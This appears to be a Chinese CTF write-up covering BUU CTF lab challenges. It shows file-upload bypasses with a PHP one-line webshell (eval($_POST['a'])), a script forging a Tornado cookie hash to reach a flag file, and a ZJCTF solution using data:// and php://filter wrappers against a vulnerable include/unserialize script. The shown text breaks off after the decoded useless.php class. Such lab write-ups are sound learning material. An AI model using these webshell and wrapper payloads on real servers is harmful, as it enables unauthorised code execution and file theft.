BUU CTF Lrean 2

又提示了一手：

尝试修改content-type：image/ipg

上传成功

然后上传一个jpg webshell

搞我一手

看来普通的一句话木马已经不成立了

尝试用Script 上传一句话：

<script language='php'>eval($_POST['a']);</script>

但是用蚁剑连接后发现还是会报错

尝试访问上传地址发现没有了

猜测服务器会隔一段时间清空一手upload中的东西

条件竞争

尝试循环上传两个文件链接

还是失败

这里就不知道了

flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

RequestHandler.settings
An alias for self.application.settings.

import hashlib

def md5(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
filename = '/fllllllllllllag'
cookie_secret = 'ccfbba3f-5b62-45a6-827c-c9313d30417d'
print(md5(cookie_secret+md5(filename)))

[ZJCTF 2019]NiZhuanSiWei

考点：

PHP伪协议，简单的反序列化

解题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
   echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{</span>
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

打开即源码，源码审计（哦又是源码审计我一点爷不想审代码）

我们发现需要get三个参量，分别是text，file，password，且text必须等于welcome to the zjctf，过滤了flag关键字等条件

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

之前接触过一个php伪协议读源码，其实他还有很多，这里我们用data://协议传入文字即

?text=data://text/plain,welcome to the zjctf

有些题还会直接过滤明文，所以这里base64编码一下也可以（本题没过滤

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

即可绕过第一个

  if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

让我们再看一下第二个绕过

php://filter/read=convert.base64-encode/resource=useless.php

很简单的伪协议读源码即可

解密后useless.php为

<?php
class Flag{ //flag.php 
    public $file; 
    public function __tostring(){ 
    if(isset($this->file)){ 
        echo file_get_contents($this->file); 
    echo "<br>";
    return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
    } 
?>